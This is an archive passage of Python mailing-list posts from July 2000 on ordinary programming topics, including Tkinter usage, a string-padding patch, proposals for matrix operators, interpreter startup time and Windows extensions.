From DavidA at ActiveState.com  Wed Jul  5 13:22:51 2000
From: DavidA at ActiveState.com (David Ascher)
Date: Wed, 5 Jul 2000 10:22:51 -0700
Subject: Wanted: compile.py
In-Reply-To: <8jvnp5$f4r$1@nnrp1.deja.com>
Message-ID: <PLEJJNOHDIGGLDPOGPJJOEEICMAA.DavidA@ActiveState.com>

> Does anyone have a copy of compile.py referred to in the "Python
> Building C/C++ extensions documentation". I can't reach the website, or
> find it elsewhere.

Apologies that the site is still broken.  Please find it attached.

--david ascher
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: compile.py
URL: <http://mail.python.org/pipermail/python-list/attachments/20000705/5c22e1bc/attachment.ksh>

From richard_chamberlain at ntlworld.com  Tue Jul 25 17:13:39 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Tue, 25 Jul 2000 22:13:39 +0100
Subject: tkinter: canvas: error?
References: <8lkpp5$3qp$1@nnrp1.deja.com>
Message-ID: <Pmnf5.8641$k54.152771@news6-win.server.ntlworld.com>

Keith,

canvas.coords doesn't expect a tuple try:

canvas.coords(1,20,20,150,150)

instead,

Richard
Keith Murphy <kpmurphy at my-deja.com> wrote in message
news:8lkpp5$3qp$1 at nnrp1.deja.com...
> is this a bug?  ...or is it a feature :)
>
> bbox = (80, 80, 120, 120)
> canvas = Canvas()
> canvas.pack()
> canvas.create_rectangle(bbox, fill='black', tag='mybox')
> canvas.coords(1, bbox)
>
> Traceback (innermost last):
>   File "<stdin>", line 1, in ?
>   File "/usr/local/lib/python1.5/lib-tk/Tkinter.py", line 1205, in
> coords
>     self.tk.splitlist(
> TclError: wrong # coordinates: expected 0 or 4, got 1
>
> thanks,
> -->keith
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From akkhan at my-deja.com  Fri Jul 14 01:32:16 2000
From: akkhan at my-deja.com (akkhan at my-deja.com)
Date: Fri, 14 Jul 2000 05:32:16 GMT
Subject: python cookbook
Message-ID: <8km8l0$nc8$1@nnrp1.deja.com>


I have a copy of O'Reilly's book, "Perl Cookbook" , and I'm looking for
an equivalent Python cookbook.  A book that has recipe's for doing
a variety of different tasks in Python, such as socket programming and
web automation.

Any suggestions?

-Adnan



Sent via Deja.com http://www.deja.com/
Before you buy.


From see at my.signature  Thu Jul 20 00:36:22 2000
From: see at my.signature (Greg Ewing)
Date: Thu, 20 Jul 2000 16:36:22 +1200
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com>
Message-ID: <397681C6.FEAEE2E@my.signature>

Michal Wallace wrote:
> 
> braid(), as in hair..

Um, not quite, that suggests two or more strands being
twisted around each other somehow, such as

   braid([1, 2, 3], ['a', 'b', 'c']) = [(1,'a'), ('b',2), (3,'c')]

:-)

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From beat.bolli at earthling.net.bbs  Sun Jul 16 10:30:02 2000
From: beat.bolli at earthling.net.bbs (beat.bolli at earthling.net.bbs)
Date: 16 Jul 2000 14:30:02 GMT
Subject: [Patch] {l,r}just with optional pad character parameter
Message-ID: <3bQPVQ$krv@openbazaar.net>

Hi all

this is my first crack at Python patching. I was simply appalled to find
'3'.zfill(5) not working anymore in 2.0b1, so I decided to do something
about it. Now since zfill can be expressed as rjust with an optional pad
characer argument, I implemented this.

This is my 12th wedding anniversary present to the Python community.

Live long and prosper!

[Can't post an attachment?!]


Beat Bolli
--
PGP: 0x506A903A; 49D5 794A EA77 F907 764F D89E 304B 93CF 506A 903A
ICBM: 47? 02' 43.0" N, 07? 16' 17.5" E (WGS84)


--- stringobject.c.orig Sun Jul 16 15:15:15 2000
+++ stringobject.c Sun Jul 16 16:05:55 2000
@@ -1767,16 +1767,17 @@
 }

 static char ljust__doc__[] =
-"S.ljust(width) -> string\n\
+"S.ljust(width [, padchar]) -> string\n\
 \n\
 Return S left justified in a string of length width. Padding is\n\
-done using spaces.";
+done using spaces unless padchar is given.";

 static PyObject *
 string_ljust(PyStringObject *self, PyObject *args)
 {
     int width;
-    if (!PyArg_ParseTuple(args, "i:ljust", &width))
+    char padchar = ' ';
+    if (!PyArg_ParseTuple(args, "i|c:ljust", &width, &padchar))
         return NULL;

     if (PyString_GET_SIZE(self) >= width) {
@@ -1784,21 +1785,22 @@
         return (PyObject*) self;
     }

-    return pad(self, 0, width - PyString_GET_SIZE(self), ' ');
+    return pad(self, 0, width - PyString_GET_SIZE(self), padchar);
 }


 static char rjust__doc__[] =
-"S.rjust(width) -> string\n\
+"S.rjust(width [, padchar]) -> string\n\
 \n\
 Return S right justified in a string of length width. Padding is\n\
-done using spaces.";
+done using spaces unless padchar is given.";

 static PyObject *
 string_rjust(PyStringObject *self, PyObject *args)
 {
     int width;
-    if (!PyArg_ParseTuple(args, "i:rjust", &width))
+    char padchar = ' ';
+    if (!PyArg_ParseTuple(args, "i|c:rjust", &width, &padchar))
         return NULL;

     if (PyString_GET_SIZE(self) >= width) {
@@ -1806,7 +1808,7 @@
         return (PyObject*) self;
     }

-    return pad(self, width - PyString_GET_SIZE(self), 0, ' ');
+    return pad(self, width - PyString_GET_SIZE(self), 0, padchar);
 }


From jclonts at mastnet.net  Wed Jul 12 03:54:10 2000
From: jclonts at mastnet.net (John Clonts)
Date: Wed, 12 Jul 2000 02:54:10 -0500
Subject: Build Problem-- OverflowError: integer literal too large
Message-ID: <396C2422.9E281DD@mastnet.net>

I have just installed python 1.5.2 from sources and built it for the
first time on my Redhat 5.x system.  When trying to import module pgp I
got a message 

   "OverflowError: integer literal too large"

I traced it and can reproduce this error by typing interactively:

    ii=4294967296

(On my older python 1.3 this causes no such problem)

I have searched the FAQ and have poked and pored through the install
process, but have not come up with anything.

Thanks for your help (please!) :)

Cheers,
John


From peter at schneider-kamp.de  Mon Jul 24 08:40:31 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Mon, 24 Jul 2000 12:40:31 +0000
Subject: Variables in strings..
References: <81324605608.20000724121203@buz.ch>
Message-ID: <397C393F.E4AFEBB4@schneider-kamp.de>

Gabriel Ambuehl wrote:
> 
> print "Hello $name"
> would do the job. Now the only solution I could find in Python was
> this awful
> print "Hello %(name)s" % var()

There is of course:

print "Hello", name
print "Hello", name[1]

But that is probably not what you ask for. There is a thread about
extending the print statement right now at the python-dev mailing list:
http://www.python.org/pipermail/python-dev/2000-July/thread.html

Part of this thread deals with what you are looking for.
You may want to read the whole thread, but a good point to start
is Tim's first post in that subthread:

http://www.python.org/pipermail/python-dev/2000-July/013895.html

> syntax which, after all, doesn't even seem to support lists as
> print "Hello %(name[1])s" % var()
> just raises a KeyError. May anyone point me to some more comfortable
> ways than just endless concatenation of strings and lists which doesn't really
> help for readibility (which is one of the main points why I'm
> switching from Perl to Python)?

As far as I have understood matters, the $name $(name[1]) syntax
woul be able to do what you want. But then I have not really
followed that thread closely.

Peter

P.S.: To python-dev: Wouldn't it be better to discuss this
                     on python-list (or pep-dev<wink>)?
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From weeks at golden.dtc.hp.com  Sun Jul 30 18:11:50 2000
From: weeks at golden.dtc.hp.com (Greg Weeks)
Date: 30 Jul 2000 22:11:50 GMT
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com> <397FCE9C.F22BB6B4@see.my.signature> <B5A66D15.6B2D%dgoodger@bigfoot.com> <slrn8o3m9q.1cq.hzhu@rocket.knowledgetrack.com> <slrn8o4fdm.abr.nobody@isis.visi.com> <8luu0m$ags$2@newshost.accu.uu.nl> <8lvu6d$8pa$2@news.dtc.hp.com> <8m23tv$pqc$1@newshost.accu.uu.nl>
Message-ID: <8m2976$p9g$1@news.dtc.hp.com>

Martijn Faassen (m.faassen at vet.uu.nl) wrote:
: Perhaps there is some other semantics for 'value' and 'reference' stemming
: from another programming tradition that I'm not aware about, though.

There is, but it may wither away as time goes on.  I guess I'm trying to
keep it alive.  Consider the following snippet of Python code:

    def f(x):
	x = <something>

    a = <something_else>
    f(a)
    
At this point in the program, a is still <something_else>.

On the other hand, in the analogous Perl code, things are different.

    sub f {
	$_[0] = <something>;
    }

    $a = <something_else>;
    f($a);

At this point, $a is <something>.  The function f did not just receive the
pattern of bits that were written into $a.  f received the *address* of the
variable $a, dereferenced it, and called the result $_[0].  So assigning to
$_[0] is the same as assigning to $a.

Regards,
Greg


From olivierS.dagenaisP at canadaA.comM.bbs  Mon Jul 17 00:00:02 2000
From: olivierS.dagenaisP at canadaA.comM.bbs (olivierS.dagenaisP at canadaA.comM.bbs)
Date: 17 Jul 2000 04:00:02 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
Message-ID: <3bQka2$h4D@openbazaar.net>

That's funny, but every time someone writes something like this at the end
of the post, I'm reminded of Ned Flanders...

Ned-Flanders-di-di-da-ly' yours....

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


> But-sometimes-I-wish-it-did-ly,


From emile at fenx.com  Tue Jul 18 20:09:46 2000
From: emile at fenx.com (Emile van Sebille)
Date: Tue, 18 Jul 2000 17:09:46 -0700
Subject: Using filter()
References: <8l1o9h$pto$1@news.rchland.ibm.com> <8l256r$d7n$1@netserv.univ-lille1.fr> <8l2g53$14ha$1@news.rchland.ibm.com>
Message-ID: <8l45jv$3lru6$1@ID-11957.news.cis.dfn.de>

That's an optimization that passes string.find into the
lambda's namespace.

--

Emile van Sebille
emile at fenx.com
-------------------


"Larry Whitley" <ldw at us.ibm.com> wrote in message
news:8l2g53$14ha$1 at news.rchland.ibm.com...
> Thanks, that certainly works.
>
> I don't understand why lambda needs the second parameter.
When I experiment
> with
>
> filter( lambda x: string.find( x, name) == 0, fileList)
>
> in place of
>
> filter( lambda x,sf=string.find: sf(x, name )==0,
fileList )
>
> it works as well.  I suspect that your codeing come from
something more
> general.  Can you explain the reason the sf=string.find
construction is
> useful in this context?





From pj at cthulhu.engr.sgi.com  Mon Jul 31 19:39:28 2000
From: pj at cthulhu.engr.sgi.com (Paul Jackson)
Date: Mon, 31 Jul 2000 16:39:28 -0700
Subject: How does Python compare to ?
In-Reply-To: <20000801011155.Q266@xs4all.nl>
Message-ID: <Pine.SGI.4.21.0007311625140.1153336-100000@sam.engr.sgi.com>

On Tue, 1 Aug 2000, Thomas Wouters wrote:
> On Mon, Jul 31, 2000 at 10:36:00PM +0000, Paul Jackson wrote:
> >     In the same interval, python does some 196 milliseconds worth
> >     of stuff, including 52 open attempts, 34 stat attempts, 67
> >     sigaction calls, 12 fstat's, 20 close's, 27 brk's, ...
> 
> Okay, now try it with 'python -S'. This omits the 'site.py' import, which
> itself requires a ton of other things. When using '-S', python is
> consistently 10msec faster than perl, on my P2-something running Linux.

That helps some, but not as much as you are seeing.  I just saw
the Python time on my Irix box, between loading libc and reading
the 'print' command go from 178 msec down to 72 msec.  Not close
to the 9 or 10 msec for perl.

I still see the stat for 'python' along my $PATH, the loading
of the exceptions module, and the sigaction() calls.  And it's
still mostly cpu bound, with perhaps 33 msec spent very early
on, doing just a handful of system calls (before the search
for python along $PATH), and almost 20 msec spent digesting
the exceptions module.

The number of open and stat attempts goes down to 12 and 19,
respectively.  No change in the number of sigaction calls.

-- 
I won't rest till it's the best ...	   Software Production Engineer
Paul Jackson (pj at sgi.com; pj at usa.net) 3x1373 http://sam.engr.sgi.com/pj




From olivierS.dagenaisP at canadaA.comM  Wed Jul 26 10:49:46 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 26 Jul 2000 14:49:46 GMT
Subject: PythonWin/Scintilla aggressive folding...
References: <guif5.43644$1h3.552517@news20.bellglobal.com> <2trf5.12076$4p3.93728@news-server.bigpond.net.au> <1csf5.40036$Gh.442627@news20.bellglobal.com> <7mwf5.12307$4p3.95451@news-server.bigpond.net.au>
Message-ID: <eUCf5.43226$Gh.514446@news20.bellglobal.com>

"Neil Hodgson" wrote:

[about not making comments level-neutral]
>    Yes, a patch like this could help for your code. I introduced the level
> neutral comments idea after developing the original strictly indentation
> based code and using it on example files. First blank lines had to become
> level neutral as lots of functions and methods have blank lines. Then I
> found lots of commented out bits so made the comment lines work like blank
> lines. Another heuristic that may be light weight would be that comment
> lines try to bind in a forwards direction but this may require some
> look-ahead.

You mean to detect the indentation of the commented-out code?  That might be
hard, given you might have a comment like any of the following:  "sharp",
"sharp space", "sharp sharp", "sharp sharp space".  I didn't realize this
would be such an involved feature....

[about strings in code]
>    I think they bulk the compiled code up a bit but I doubt whether its
> significant.

If it's pretty much harmless and all it acts as is a seperator or an "end of
definition" marker, like so:

class ztApp ( wxApp ):
   def OnInit ( self, etc.. ):
      print "init..."
      (...)
      return true
      ''
''


...I-can-live-with-that-ly y'rs

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III






From bjorn at roguewave.com  Fri Jul 14 13:47:23 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 14 Jul 2000 11:47:23 -0600
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <72usms41js8gtqdeemi0l7qo7dfe0t02rm@4ax.com>
Message-ID: <396F522B.D4E143B5@roguewave.com>

John Lull wrote:
> 
> At the dawn of the third millenium (by the common reckoning), Bjorn
> Pettersen <bjorn at roguewave.com> wrote (with possible deletions):
> 
> > It seems like you're trying to create a special purpose language here.
> > Ie. I don't see it as general enough to be worth putting into the core
> > unless you can come up with other use cases... Personally, I would much
> > prefer the ability to overload the relational operators (individually,
> > not through __cmp__).
> 
> I'd like to disagree here.  Matrices & linear algebra are fundamental
> tools in an extremely broad set of domains.  Unfortunately, most
> programming languages don't seem to recognize that.
> 
> Providing appropriate operators in the core is, IMO, as appropriate as
> providing complex numbers.  Providing an easy way to effectively add
> them to the core when you install an appropriate add-on package is a
> reasonable alternative.  Their absence leads to really hard-to-read
> code, and to me is a significant downside to Python.

That is the problem with a general purpose language. It can't
conveniently spell the common syntax for all possible special domains.
I'd be very hesitant to make Python's core more complex just to make it
easier to use in _one_ problem domain. (Note: I'm not saying I would be
against a proposal that would be more generally useful... but you'll
have to prove that first)

As a programmer that has never used complex numbers for anything useful,
I'd much rather remove them from Python than add special linear algebra
syntax <wink>

-- bjorn



From rhicks at rma.edu  Sat Jul 15 12:27:30 2000
From: rhicks at rma.edu (Robert)
Date: Sat, 15 Jul 2000 16:27:30 GMT
Subject: IDLE startup error on NT4
References: <8kodjp$aj2$1@nnrp1.deja.com>
Message-ID: <Sh0c5.285$RB1.34310@news>

Also if you copy the tk dll to the python dll directory...that has worked
for me...

Robert
"Andy Freeman" <anamax at earthlink.net> wrote in message
news:8kodjp$aj2$1 at nnrp1.deja.com...
> While starting IDLE on NT4, I get an error message about it not
> finding tcl80.dll (and the other tk and tcl dlls), an error that
> I don't get on Win95/98.  No, it isn't the error message from
> FixTk - FixTk appears happy - the problem seems to occur during
> import _tkinter.
>
> My "fix" was to simply move the relevant files to the Python
> DLL directory on NT, but surely there's something else going
> on here.
>
> -andy
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From huaiyu_zhu at yahoo.com  Tue Jul 18 17:21:12 2000
From: huaiyu_zhu at yahoo.com (Huaiyu Zhu)
Date: Tue, 18 Jul 2000 14:21:12 -0700 (PDT)
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
Message-ID: <Pine.LNX.4.10.10007181420000.9411-100000@rock.localdomain>

I posted this but didn't see it appearing.  Now trying it again.

This is a summary of what's discussed so far.

On Tue, 18 Jul 2000, Moshe Zadka wrote:
> ... we really meant that we'll help yo. 

Thanks!  I see where compile() is called.  But how is the parser itself
called in python?  Only used as C function?  Now that we have a patch to add
the new operators, is it possible to assemble these into a module?

Before we plunge into this thing which may turn out to be more laborious
than MatPy itself, we need to get a handle on what's involved.  Let me make
a list in order of my preference.  Please jump in at any point that's both
feasible and interesting enough for someone to actually do it:

1. Make a pure python way to introduce additional operators, like
   import NewOperator
   NewOperator.define(".+", "__dotadd__")
   NewOperator.define("+=", "__add_ab__")
   NewOperator.define(":=", "__copy__")

   Advantage: Pure python.  Doesn't interfere with existing sytax.  May be
   used for other operators.  Not in the core, only affect the module that
   imports it.  
   Disadvantage: Said to be quite difficult to implement (Why?).

2. Incorporate additional operators in python.  Either . or @.  Five to
   eight would be enough for linear algebra.

   Advantage: Pure python.  Doesn't interfere with existing syntax.
   Disadvantage: Fixed choice for everybody.  Unlikely to happen for quite
   some time until everyone agrees on everything.

3. Maintain a patch for additional operators. 

   Advantage: once built, everything is pure python.  Already have patch.
   Disadvantage: Can't guarantee most users can patch python, so in practice
   may need to maintain windows executable for download.

4. Temporarily use a.mmul(b) and a.emul(b) before things settle down.  Then
   define __dotmul__ = emul, or the like, when they are available.

   Advantage: immediately implementable.  Won't break anyone's code.  Can
   also switch to  __atmul__ = mmul or other choices later.
   Disadvantage: code somewhat cluttered.
   
5. Use a customized parser in python, with some compile tools?

   Advantage: can change anything.  Can fine tune before settle down.
   Disadvantage: can change anything.  Slower than 1.  Don't know how to use
   it.  (But maybe they can be turned into option 1?)

6. Maintain two classes: E and M.  

   Advantage: no need for new operators.
   Disadvantage: artificial casting likely to be maintenance nightmare,
   because we change objects while we really want to change operators.

   A variant: only use .E for elementwise.  Always return matrixwise.  This
   is simply just using casting to help select among two methods denoted by
   the same binary symbol.  Does not look much better than 4 but worth
   considering. 

7. Use prefix function call syntax:

   Advantage: very simple to implement
   Disadvantage: very difficult-to-read user code.  Won't be used in practice.

8. Use preprocessor on another file extension like .mpy

   Advantage: user code looks good
   Disadvantage: two set of files to maintain.  No implementation yet.  The
   preprocessor need to be able to see the operators, their scopes and
   precedence.  If this is possible, why not turn it to 5 or even 1?
   Unlikely used in practice unless the preprocessing step is invisible.

9. Use a miniparser for expressions in strings.

   Advantage: artificially looks like pure python.
   Disadvantage: the whole syntax is inside the string, which becomes a
   special syntax zone with severe limitations.  These halfline programs
   completely lack the elegance of python code.  Yuck!

10. Use list comprehension.

	Advantage: apparently none.
	Disadvantage: admitting that elementwise operations cannot be
	encapsulated.  Need a new syntactic structure with brackets, loops,
	dummy variables, scope delimitor (: or ;) implicitly parrallel for loops
	and implicit casting.  Yuck!!!

Note: I dislike some of the proposals because they look like ugly hacks to
use the abundance of class names, method names, function names and string
literals to walk around what is clearly just a shortage of a few operator
symbols.  But I don't think we can reach consensus on such issue anyhow.

If there is no more proposal forthcoming, I will adopt a combination of
options 3 and 4, and hoping for someone to come up with 1.  The largest
problem with this approach is this: If we can't guarantee the patch is
usable everywhere, do we want everybody using these operators?  Will it run
on another machine, or even another version of python?  If such a status
persists for a long time I guess all codes will settle into a local optimum,
something like

(a.emul(b))*(c.emul(d))

and an opportunity would be lost, even if in reality most people actually
like (a.*b)*(c.*d).  This incidentally also removes an opportunity to see if
elementwise operators might be useful elsewhere, like

["%5.2f", "%-8s", "%.2g"] .% [pi, 'short', 1]

["Alice", "Bob", "Charlie"] .+ "is" .+ ["girl", "boy", "boy"]

The argument "if it finds wide-spread use we may put it in the language" has
a severe limitation - if it is technically very difficult for users to use a
feature that's not in the language, it will unlikely to find wide-spread use
and may never get into the language.  That's why I really hope something
like 1 can come up.

Inputs greatly appreciated.


Huaiyu














From slinkp23 at yahoo.com  Wed Jul 26 17:47:08 2000
From: slinkp23 at yahoo.com (Paul Winkler)
Date: Wed, 26 Jul 2000 17:47:08 -0400
Subject: Problems installing PIL on linux
References: <397F1232.27791F0C@yahoo.com> <20000727082933.C9696@inkontact.com.au>
Message-ID: <397F5C5C.F23FADF0@yahoo.com>

Steve Purcell wrote:
> My advice is to get the RPM for 1.0b1 unless there's a particular need for
> fixes or features that can only be found in 1.1. Works fine for me.

Well, I guess I'll do that. Thanks for the tip.
Incidentally, one reason I didn't do this before was that rpmfind
didn't turn up any python imaging library RPMs for RedHat. There
were some SuSE packages but I don't know what the difference is, if
any.

Fortunately a Google search turned up a version for RedHat at:
http://www.linuxfocus.org/common/src/article120/python-imaging-rh-1.0b1-3.i386.rpm

I just installed that and it seems to be working OK... 


.................    paul winkler    ..................
slinkP arts:   music, sound, illustration, design, etc.
        web page:  http://www.ulster.net/~abigoo        
      A member of ARMS:   http://www.reacharms.com
               or http://www.mp3.com/arms


From bellamy at freesurf.fr.bbs  Sun Jul 16 11:10:03 2000
From: bellamy at freesurf.fr.bbs (bellamy at freesurf.fr.bbs)
Date: 16 Jul 2000 15:10:03 GMT
Subject: Newbie question: PyOpenGL installation
Message-ID: <3bQQXS$jO4@openbazaar.net>

I'd like to use OpenGL for Python with Linux, but I'm really confused
with the installation.
I'm used to RPMs, or installing software from sources in .tar.gz format
with the regular './configure', 'make', and 'make install', but I just
can't understand the explanations on PyOpenGL web site.
If anyone who did it OK could give me a little help, that would be just
great (or if there's a RPM installation package for PyOpenGL somewhere
on the planet...).

Thanks a lot.


From hzhu at localhost.localdomain  Sat Jul 15 02:06:24 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Sat, 15 Jul 2000 06:06:24 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <qsusmscak89fbrddm2b7mlej4vrjq4nadl@4ax.com> <396EDE0B.5F9075B6@fft.be> <396F1914.DBE530CA@prescod.net> <f9jvmschdj3ihoouppp6fnsh3jhi6dq90h@4ax.com> <396FE1CE.FE9967A8@prescod.net>
Message-ID: <slrn8n001o.12e.hzhu@localhost.localdomain>

On Fri, 14 Jul 2000 23:00:14 -0500, Paul Prescod <paul at prescod.net> wrote:

>> The problem is that Python provides no way for an add-on module to
>> define new operators.  
>
>But that's not really an accident. There are languages that allow you to
>define new operators. REBOL is the most flexible example. Python
>emphasizes syntactic *simplicity*.

Well, I think there are two levels of syntactic simplicity:

1. Different structures: like the difference among identifiers, various
   literals (number, list, dict, string), indentation delimited blocks,
   function arguments.

2. Allowed members within a structure: like which function names are legal,
   which operators are binary, which functions can be overloaded.

To keep the first kind of simplicity we need to restrict number of things
allowed. But to keep simplicity of the second kind we need to remove
arbitrary restrictions.

For example, I had included a file aux.py in the MatPy package which caused
a great deal of headache for Windows users.  It turned out that Windows do
not allow file name to be aux because it's a device name.  This kind of
unreadonable restrictions represent complexity, not simplicity.

Python already provides both function names and binary operators, so the
first level issue is not there.  However, while it gives almost unlimited
supply of function names that can be overridden, there is only a handful of
binary operators which have deep rooted meanings and not enough for
overloading. This limit is largely arbitrary, and is therefore complexity.

>> Unfortunately, the current lack of appropriate notation makes these
>> problems very difficult to code clearly.
>
>Every domain of computing would be enhanced with special notation. Text
>processing, XML, COM, databases, Web programming etc.

Haven't we already talked this through?  Text processing already got its
special syntax, even of the first level, which is quoted string.  Within a
quoted string you could put in any text sequence.  In this specific domain
it happens that only very limited number of binary operators are required,
and they are duly provided, like string + string, string % string, or string
* number.  All the other things you mentioned could be built on top of this.
This domain is not even as mature as matrix computation - in many earlier
languages it was though that special syntax is needed for printing, formats
and regular expressions, which turned out to be just ordinary string
operations and functions, as python shows.

On the other hand, for proper matrix operation, there is not much need for
any additional first level structure, but there does exist a great need for
a larger supply of binary operators.  What we are saying is that extending
the number of operators overridable by applications represents a much
smaller risk of incompatability than giving everyone a complete parser.
With the given operators, all the fields like scientific computation,
graphics, statistical analysis and artificial intelligence could also be
built on top of this.

Before you dismiss numerical computation as just another domain, why not try
a few packages and get a feeling of how large the domain is?


Huaiyu


From rgruet at ina.fr  Fri Jul  7 05:29:20 2000
From: rgruet at ina.fr (Richard Gruet)
Date: Fri, 07 Jul 2000 11:29:20 +0200
Subject: win32clipboard module issue
Message-ID: <3965A2F0.8E8958B5@ina.fr>

Hi all,

In Mark hammond's win32clipboard module, the function SetClipboardData
requires a memory handle as its 2nd argument (hMem), and it's precised
that this handle must have been allocated via GlobalAlloc().
But I wonder how to get such a handle from Python :-(

Can anyone help ?
Thanks

Richard Gruet



From thomas at cintra.no  Mon Jul 31 07:40:45 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Mon, 31 Jul 2000 11:40:45 GMT
Subject: [3rd Draft] Open Letter to CNRI: Request for clarification
References: <39816303.C808D05A@nowonder.de> <39852224.FE658DC5@nowonder.de>
Message-ID: <398763f2.270509351@news.online.no>

I just want to know if this is an open letter, like open for everybody
to sign and say "Yeah, damn straight! Time to come clean, CNRI!" or
something like that. Do I need to be a professor, doctor or a
self-proclaimed guru to be on that signature-list? 

I'm concerned about this issue too, concerned about the
licence-troubles the open-source community seem to be having these
days, but especially troubled about the fact that stuff like this
slows down the development-cycle of Python. The longer it takes for a
beta to get into users hands the longer it takes before bugs are found
and removed. Longer time to wait for a stable release of Python 2.0.
And I cannot get my hands on that sweet baby quick enough!! :->

I won't be disappointed, ok probably a little bit, if you just want
serious, hard-core productive coders on your signature list, but as an
open commmunity, I'd like to express my opionon somehow too.

Some clarification before the clarification, pleez.

Thomas


From richard_chamberlain at my-deja.com  Fri Jul 28 03:56:15 2000
From: richard_chamberlain at my-deja.com (richard_chamberlain at my-deja.com)
Date: Fri, 28 Jul 2000 07:56:15 GMT
Subject: Win32 drive mapping... aka "net use"
References: <8lr9nc$tdf$1@nnrp1.deja.com>
Message-ID: <8lreau$15t$1@nnrp1.deja.com>

I think you want to use the win32net extension. If you select Help -
Others - Win32 Extensions in PythonWin there is a help section on it.

Richard

In article <8lr9nc$tdf$1 at nnrp1.deja.com>,
  lshuler at my-deja.com wrote:
> Is there an API using Win32 extensions to map a
> drive share? I have not found one yet and have
> tried searching "Win32 map drive". I am looking
> for the equivalent of:
>
> net use <share path>
>
> If not, is there an alternative other than making
> a call to system("net use <path>").
>
> Thanks in advance,
> Lance
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From falk.lehmann at gmx.net  Tue Jul 18 00:41:39 2000
From: falk.lehmann at gmx.net (falk.lehmann at gmx.net)
Date: Tue, 18 Jul 2000 04:41:39 GMT
Subject: compiling Python 1.6a2 using VC++ 6.0
Message-ID: <8l0n61$vlj$1@nnrp1.deja.com>

I try to compile Python 1.6a2 on a WinNT box using VC++ 6.0.
All packages except bsddbmodule and socketmodule compile without errors.

When I add the include path of the the db-3.1.14 distribution to
..\db-3.1.14\build_win32 the following error messages appear. I have
tried to include other header files then db.h but nothing works.

=================================================================
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(90) : error C2065:
'HASHINFO' : undeclared identifier
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(90) : error C2146: syntax
error : missing ';' before identifier 'info'
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(90) : error C2065: 'info'
: undeclared identifier
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(95) : error C2224: left
of '.bsize' must have struct/union type
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(96) : error C2224: left
of '.ffactor' must have struct/union type
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(97) : error C2224: left
of '.nelem' must have struct/union type
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(98) : error C2224: left
of '.cachesize' must have struct/union type
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(99) : error C2224: left
of '.hash' must have struct/union type
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(100) : error C2224: left
of '.lorder' must have struct/union
type
...
<and a lot more>
...
==========================================================

Any help is appreciated.

Falk


Sent via Deja.com http://www.deja.com/
Before you buy.


From nobody at nowhere.nohow  Sat Jul 29 21:48:32 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sun, 30 Jul 2000 01:48:32 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu>
Message-ID: <QPLg5.2816$6E.738549@ptah.visi.com>

On Sat, 29 Jul 2000 19:52:54 GMT, Suchandra Thapa <ssthapa at midway.uchicago.edu> wrote:
>Alex Martelli <alex at magenta.com> wrote:

>>It matters if you care about how easy/hard it is to turn those
>>"non-programmers" into "programmers in the language you
>>are designing".  E.g., the CP4E project, which used to be
>>aimed at turning _everybody_ into programmers, had better

>    Actually I think it would be easier for non-programmers to
>learn a language if it has strict typing.  

I concur. In non-programming, life is strictly typed. Allowed
operations are determined by the type of the object. You can't
make a phone call on a waffle-iron.  Were I to _try_ to make a
phone call on a waffle-iron, it doesn't "automagically" convert
istelf into a telephone.  Instead, I get a rather interesting
burn pattern on the side of my head.

You can tune a piano, but you can't tune a fish...

-- 
Grant Edwards                   grante             Yow!  Should I get
                                  at               locked in the PRINCICAL'S
                               visi.com            OFFICE today -- or have
                                                   a VASECTOMY??


From m.faassen at vet.uu.nl  Thu Jul 27 15:26:00 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 27 Jul 2000 19:26:00 GMT
Subject: The State of Python
